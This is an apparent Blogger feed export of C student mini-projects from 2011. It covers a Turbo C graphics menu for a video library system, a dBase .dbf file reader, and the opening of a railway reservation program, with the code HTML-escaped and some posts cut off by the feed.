setfillstyle(SOLID_FILL,RED);&lt;br /&gt; bar(30,30,610,450);&lt;br /&gt; settextstyle(1,0,8);&lt;br /&gt; setcolor(WHITE);&lt;br /&gt; outtextxy(190,35,"VIDEO");&lt;br /&gt; setfillstyle(SOLID_FILL,LIGHTGRAY);&lt;br /&gt; bar3d(180,140,385,130,20,20);&lt;br /&gt; outtextxy(160,150,"LIBRARY");&lt;br /&gt; bar3d(140,255,440,245,20,20);&lt;br /&gt; outtextxy(165,270,"SYSTEM");&lt;br /&gt; bar3d(145,375,440,365,20,20);&lt;br /&gt;/* sleep(4);  */&lt;br /&gt;getch();&lt;br /&gt; closegraph();&lt;br /&gt; restorecrtmode();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; screen2()&lt;br /&gt; {&lt;br /&gt; int gd=DETECT,gm;&lt;br /&gt; initgraph(&amp;gd,&amp;gm,PATH);&lt;br /&gt; setfillstyle(SOLID_FILL,RED);&lt;br /&gt; bar(0,0,640,480);&lt;br /&gt; setfillstyle(SOLID_FILL,WHITE);&lt;br /&gt; bar(15,15,625,465);&lt;br /&gt; setfillstyle(SOLID_FILL,RED);&lt;br /&gt; bar(30,30,610,450);&lt;br /&gt; setfillstyle(SOLID_FILL,LIGHTGRAY);&lt;br /&gt; bar3d(180,100,420,300,25,25); /*members bar*/&lt;br /&gt; settextstyle(1,1,10);&lt;br /&gt; setcolor(WHITE);&lt;br /&gt; outtextxy(10,55,"IIMS");&lt;br /&gt; setfillstyle(SOLID_FILL,LIGHTGRAY);&lt;br /&gt; bar3d(180,50,420,70,20,20);   /*project members bar*/&lt;br /&gt; bar3d(50,350,570,420,25,25);  /*project guide bar*/&lt;br /&gt; setcolor(BLUE);&lt;br /&gt; settextstyle(1,0,2);&lt;br /&gt; outtextxy(193,48,"PROJECT MEMBERS");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; outtextxy(193,130,"MANISH MISHRA");&lt;br /&gt; outtextxy(193,170,"VISHAL YADAV");&lt;br /&gt; outtextxy(193,210,"SHIV KUMAR RAI");&lt;br /&gt; outtextxy(193,250,"DINESH YADAV");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; outtextxy(235,351,"PROJECT GUIDE:");&lt;br /&gt; settextstyle(1,0,5);&lt;br /&gt; outtextxy(140,373,"MR. AMIT TANEJA");&lt;br /&gt;/* sleep(4);  */&lt;br /&gt;getch();&lt;br /&gt; closegraph();&lt;br /&gt; restorecrtmode();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; box(int i,char *p)&lt;br /&gt; {&lt;br /&gt; setfillstyle(SOLID_FILL,WHITE);&lt;br /&gt; bar(179,108+55*i,409,138+55*i);&lt;br /&gt; setfillstyle(SOLID_FILL,LIGHTGRAY);&lt;br /&gt; bar(180,110+55*i,410,140+55*i);&lt;br /&gt; setcolor(BLUE);&lt;br /&gt;// setfillstyle(SOLID_FILL,BLUE);&lt;br /&gt; settextstyle(1,0,2);&lt;br /&gt; outtextxy(184,110+55*i,p);&lt;br /&gt;/* getch();&lt;br /&gt; setfillstyle(SOLID_FILL,WHITE);&lt;br /&gt; bar(180,60,390,90);&lt;br /&gt; setfillstyle(SOLID_FILL,RED);&lt;br /&gt; bar(179,59,389,89); */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* bar3d(180,100,420,300,-25,25);*/ /*members bar*/&lt;br /&gt;/* closegraph();&lt;br /&gt; restorecrtmode(); */&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;selectbox(int i,char *p)&lt;br /&gt; {&lt;br /&gt; setfillstyle(SOLID_FILL,WHITE);&lt;br /&gt; bar(179,108+55*i,409,138+55*i);&lt;br /&gt; setfillstyle(SOLID_FILL,9);&lt;br /&gt; bar(180,110+55*i,410,140+55*i);&lt;br /&gt; setcolor(WHITE);&lt;br /&gt;// setfillstyle(SOLID_FILL,BLUE);&lt;br /&gt; settextstyle(1,0,2);&lt;br /&gt; outtextxy(184,110+55*i,p);&lt;br /&gt;/* getch();&lt;br /&gt; setfillstyle(SOLID_FILL,WHITE);&lt;br /&gt; bar(180,60,390,90);&lt;br /&gt; setfillstyle(SOLID_FILL,RED);&lt;br /&gt; bar(179,59,389,89); */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* bar3d(180,100,420,300,-25,25);*/ /*members bar*/&lt;br /&gt;/* closegraph();&lt;br /&gt; restorecrtmode(); */&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;pressbutton(int i,char *p)&lt;br /&gt; {&lt;br /&gt;&lt;br /&gt; setfillstyle(SOLID_FILL,WHITE);&lt;br /&gt; bar(180,110+55*i,410,140+55*i);&lt;br /&gt; setfillstyle(SOLID_FILL,9);&lt;br /&gt; bar(179,108+55*i,409,138+55*i);&lt;br /&gt; setcolor(CYAN);&lt;br /&gt; settextstyle(1,0,2);&lt;br /&gt; outtextxy(184,110+55*i,p);&lt;br /&gt; delay(350);&lt;br /&gt; }&lt;br /&gt; title(char *title,int x)&lt;br /&gt; {&lt;br /&gt; setfillstyle(SOLID_FILL,9);&lt;br /&gt; bar(0,0,640,50);&lt;br /&gt; setcolor(BLACK);&lt;br /&gt; settextstyle(1,0,5);&lt;br /&gt; outtextxy(x,0,title);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; status()&lt;br /&gt; {&lt;br /&gt; setfillstyle(SOLID_FILL,9);&lt;br /&gt; bar(0,450,640,480);&lt;br /&gt; setcolor(BLACK);&lt;br /&gt; settextstyle(1,0,3);&lt;br /&gt; outtextxy(30,450,"USE UP &amp; DOWN ARROW KEYS TO SELECT AN OPTION");&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; void main()&lt;br /&gt; {&lt;br /&gt; screen1();&lt;br /&gt; screen2();&lt;br /&gt; main_menu();&lt;br /&gt; }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-2910999808083334342?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/2910999808083334342/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/video-library-management-system-project.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2910999808083334342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2910999808083334342'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/video-library-management-system-project.html' title='Video Library Management System (Project)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8770916353632261438</id><published>2011-03-20T20:23:00.000-07:00</published><updated>2011-03-20T20:23:27.253-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><category scheme='http://www.blogger.com/atom/ns#' term='intersting'/><title type='text'>To access the dbf database files and maupulate from the C Program</title><content type='html'>Code :&lt;br /&gt;&lt;br /&gt;#include stdio.h&lt;br /&gt;#include stdlib.h&lt;br /&gt;#include string.h&lt;br /&gt;#define MAXFIELDS 1000 /* maximum nr of fields */&lt;br /&gt;#include mem.h&lt;br /&gt;#include string.h&lt;br /&gt;&lt;br /&gt;void main(int argc, char *argv[])&lt;br /&gt;{ char *p,*q,*r,*buf;&lt;br /&gt;  typedef char string11[12];&lt;br /&gt;  FILE *in,*out,*out1;&lt;br /&gt;  int a,i,j,n,field_pos[MAXFIELDS+1],nfield=0,pos,lrec;&lt;br /&gt;  char *record,field_type[MAXFIELDS];&lt;br /&gt;&lt;br /&gt; // string11 field_data[500];&lt;br /&gt;&lt;br /&gt;  string11 field_name[MAXFIELDS];&lt;br /&gt;  struct&lt;br /&gt;  { char  version;    /* dBase version */&lt;br /&gt;    char  datum[3];   /* date of last update YYMMDD */&lt;br /&gt;    long  nrec;       /* nr of records in th database file */&lt;br /&gt;    short nhead;      /* nr of bytes in the header */&lt;br /&gt;    short lrec;       /* nr of bytes in the record */&lt;br /&gt;    char  dum1[2];&lt;br /&gt;    char  transact;   /* flag for incomplete transaction */&lt;br /&gt;    char  encrypt;    /* encryption flag */&lt;br /&gt;    char  mdx;        /* flag for presence of mdx-file */&lt;br /&gt;    char  dum2[3];&lt;br /&gt;  } header;&lt;br /&gt;&lt;br /&gt;  struct&lt;br /&gt;  { char  name[11];         /* fieldname zero filled */&lt;br /&gt;    char  type;             /* field type (C, D, F, L, M, N) */&lt;br /&gt;    char  dum1[4];&lt;br /&gt;    unsigned char  length;  /* field length in binary */&lt;br /&gt;    char  ndec;             /* field decimal count in binary */&lt;br /&gt;    char  dum2[2];&lt;br /&gt;    char  workid;           /* work area ID */&lt;br /&gt;    char  dum3[11];&lt;br /&gt;    char data[10];&lt;br /&gt;  } field;&lt;br /&gt;&lt;br /&gt;  switch(argc)&lt;br /&gt;  { case 1:   in=stdin;&lt;br /&gt;       break;&lt;br /&gt;    case 2:   if ((in = fopen(argv[1],"rb")) == NULL)&lt;br /&gt;       { fprintf(stderr,"Input file %s not found&lt;br /&gt;",argv[1]);&lt;br /&gt;  exit(1);&lt;br /&gt;       }&lt;br /&gt;       break;&lt;br /&gt;    default:  fprintf(stderr,"Usage: %s dbase_file &gt; &lt;br /&gt;database&lt;br /&gt;",argv[0]);&lt;br /&gt;       fprintf(stderr,"Or: cat dbase_file | %s &gt;database&lt;br /&gt;",argv[0]);&lt;br /&gt;&lt;br /&gt;       exit(1);&lt;br /&gt;  }&lt;br /&gt;  fread(&amp;header,32,1,in);&lt;br /&gt;  n=header.lrec;&lt;br /&gt;  pos=1;&lt;br /&gt;  // a=field_name[3];&lt;br /&gt;  while (n&gt;1)&lt;br /&gt;  { if (nfield==MAXFIELDS)&lt;br /&gt;    { fprintf(stderr,"Too many fields&lt;br /&gt;");&lt;br /&gt;      exit(1);&lt;br /&gt;    }&lt;br /&gt;    fread(&amp;field,32,1,in);&lt;br /&gt;    strcpy(field_name[nfield],field.name);&lt;br /&gt;    field_type[nfield]=field.type;&lt;br /&gt;   //  printf("&lt;br /&gt;FIELD: %s",field_name[3]);&lt;br /&gt;&lt;br /&gt;    field_pos[nfield++]=pos;&lt;br /&gt;    pos+=(int)field.length;&lt;br /&gt;    n-=(int)field.length;&lt;br /&gt;  }&lt;br /&gt;     for (i=1;i&lt;nfield;i++)&lt;br /&gt;   {&lt;br /&gt; printf("%s%c",field_name[i],i==nfield-1?'&lt;br /&gt;':' ');&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt; // for (i=0;i&lt;nfield;i++) printf(   "!%s%c",&lt;br /&gt;field_name[i],i==nfield-1?'&lt;br /&gt;':' ');&lt;br /&gt;  field_pos[nfield]=pos; /* one extra for length calculation of last &lt;br /&gt;field&lt;br /&gt;*/&lt;br /&gt; // printf("&lt;br /&gt;%s",field_name[3].data);&lt;br /&gt;  fread(&amp;i,1,1,in); /*read field terminator */&lt;br /&gt;  if (i!=0xD)&lt;br /&gt;  { fprintf(stderr,"Illegal field terminator; more than %d&lt;br /&gt;fields?&lt;br /&gt;",MAXFIELDS);&lt;br /&gt;    exit(1);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;   lrec=header.lrec;&lt;br /&gt;   record=malloc(lrec);&lt;br /&gt;   for (i=1;i&lt;header.nrec;i++)&lt;br /&gt;   {&lt;br /&gt; if (fread(record,lrec,1,in)!=1)&lt;br /&gt; {&lt;br /&gt;   fprintf(stderr,"Error reading record %d&lt;br /&gt;",i+1);&lt;br /&gt;   exit(1);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt; if (*record!='*')  /* if not a deleted record */&lt;br /&gt; for (j=1;j&lt;nfield;j++)&lt;br /&gt; {&lt;br /&gt;   if(j==1)&lt;br /&gt;   {&lt;br /&gt;    p=record+field_pos[j]+1;       /* first char of the field */&lt;br /&gt;    q=record+field_pos[j+1]-1;   /* last char of the field */&lt;br /&gt;    while (*p==' ' &amp;&amp; p&lt;=q) p++;  /* remove leading spaces */&lt;br /&gt;    while (*q==' ' &amp;&amp; p&lt;=q) *(q--)='&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8770916353632261438?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8770916353632261438/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/to-access-dbf-database-files-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8770916353632261438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8770916353632261438'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/to-access-dbf-database-files-and.html' title='To access the dbf database files and maupulate from the C Program'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-245817728841211081</id><published>2011-03-20T20:22:00.001-07:00</published><updated>2011-03-20T20:22:29.143-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><title type='text'>Railway Reservation System (Mini Project In C)</title><content type='html'>Code :&lt;br /&gt;&lt;br /&gt;#include conio.h&lt;br /&gt;#include stdio.h&lt;br /&gt;#include graphics.h&lt;br /&gt;#include stdlib.h&lt;br /&gt;#include dos.h&lt;br /&gt;#include string.h&lt;br /&gt;#include math.h&lt;br /&gt;&lt;br /&gt;/***************Global Variable Declarations****************/&lt;br /&gt;&lt;br /&gt;union REGS i,o;&lt;br /&gt;int xmax,ymax;&lt;br /&gt;int gdriver = DETECT, gmode, errorcode,x,y;&lt;br /&gt;int count=0,no_pass=0;&lt;br /&gt;FILE *ptr1;&lt;br /&gt;char d[8][3]={{"S1"},{"S2"},{"S3"},{"S4"},{"S5"},{"S6"},{"S7"},{"S8"}};&lt;br /&gt;char x1[2];&lt;br /&gt;&lt;br /&gt;/****************************Global Structures declared**********/&lt;br /&gt;&lt;br /&gt;struct travel&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char tno[5];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;//char doj[10];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int d1,m1,y1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char from[4];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char to[4];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char passen[6][20];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char sex[6][2];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char age[6][3];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int seat_no[6];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char coano[3];&lt;br /&gt;&amp;nbsp;&amp;nbsp; //&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;float pnr;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; long int pnr;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;float bill;&lt;br /&gt;}passenger;&lt;br /&gt;struct&lt;br /&gt;{&lt;br /&gt;//&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;float pnr;&lt;br /&gt;long int pnr;&lt;br /&gt;}pass;&lt;br /&gt;struct&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int seat_no;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char coano[3];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char status[1];&lt;br /&gt;}berth;&lt;br /&gt;&lt;br /&gt;struct&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char tno[5];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char tname[20];&lt;br /&gt;}train;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/***********************User Defined Functions***********/&lt;br /&gt;&lt;br /&gt;void firstscreen();&lt;br /&gt;void mainmenu();&lt;br /&gt;void reserv();&lt;br /&gt;void clear();&lt;br /&gt;void setgraph();&lt;br /&gt;void clearline();&lt;br /&gt;void drawbox();&lt;br /&gt;void cancel();&lt;br /&gt;void enquiry();&lt;br /&gt;void color(int,int,int);&lt;br /&gt;void printtic(struct travel);&lt;br /&gt;&lt;br /&gt;/*****************Main Function*****************************/&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int i;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;FILE *ptr,*tr;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/***********loop for writing train nos***************/&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if((tr=fopen("tra.dat","r"))==NULL)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;tr=fopen("tra.dat","w");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strcpy(train.tno,"3143");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strcpy(train.tname,"Darjeeling Mail");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fwrite(&amp;amp;train,sizeof(train),1,tr);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strcpy(train.tno,"3147");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strcpy(train.tname,"Uttarbanga Exp");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fwrite(&amp;amp;train,sizeof(train),1,tr);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fclose(tr);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/************loop for writing train berth nos*********/&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if((ptr=fopen("berths3.dat","r"))==NULL)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;ptr=fopen("berths3.dat","wb");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;strcpy(berth.coano,d[0]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;strcpy(berth.status,"V");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;for(i=1;i&amp;lt;=73;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; if(i&amp;gt;72)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;count++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;strcpy(berth.coano,d[count]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;i=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; }&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; if(count==8)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp; break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; berth.seat_no=i;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; fwrite(&amp;amp;berth,sizeof(berth),1,ptr);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;fclose(ptr);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if((ptr=fopen("berths7.dat","r"))==NULL)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;ptr=fopen("berths7.dat","wb");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;strcpy(berth.coano,d[0]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;strcpy(berth.status,"V");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;for(i=1;i&amp;lt;=73;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; if(i&amp;gt;72)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;count++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;strcpy(berth.coano,d[count]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;i=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; }&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; if(count==8)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp; break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; berth.seat_no=i;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; fwrite(&amp;amp;berth,sizeof(berth),1,ptr);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; fclose(ptr);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textcolor(WHITE);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textbackground(BLACK);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;clrscr();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;firstscreen();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;mainmenu();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;reserv();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cancel();&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;getch();&lt;br /&gt;}&lt;br /&gt;void firstscreen()&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int r,c;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(r=4;r&amp;lt;=20;r++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; gotoxy(20,r);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; printf("*");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; gotoxy(60,r);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; printf("*");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(c=20;c&amp;lt;60;c++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; gotoxy(c,4);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; printf("*");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; gotoxy(c,20);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; printf("*");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(36,6);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textattr(LIGHTRED);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf("PROJECT");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(39,8);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textcolor(BLUE);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf("ON");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(32,10);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textcolor(BROWN);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cprintf("Railway Reservation");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(25,13);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textcolor(YELLOW);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;putch(1);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;textcolor(CYAN);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	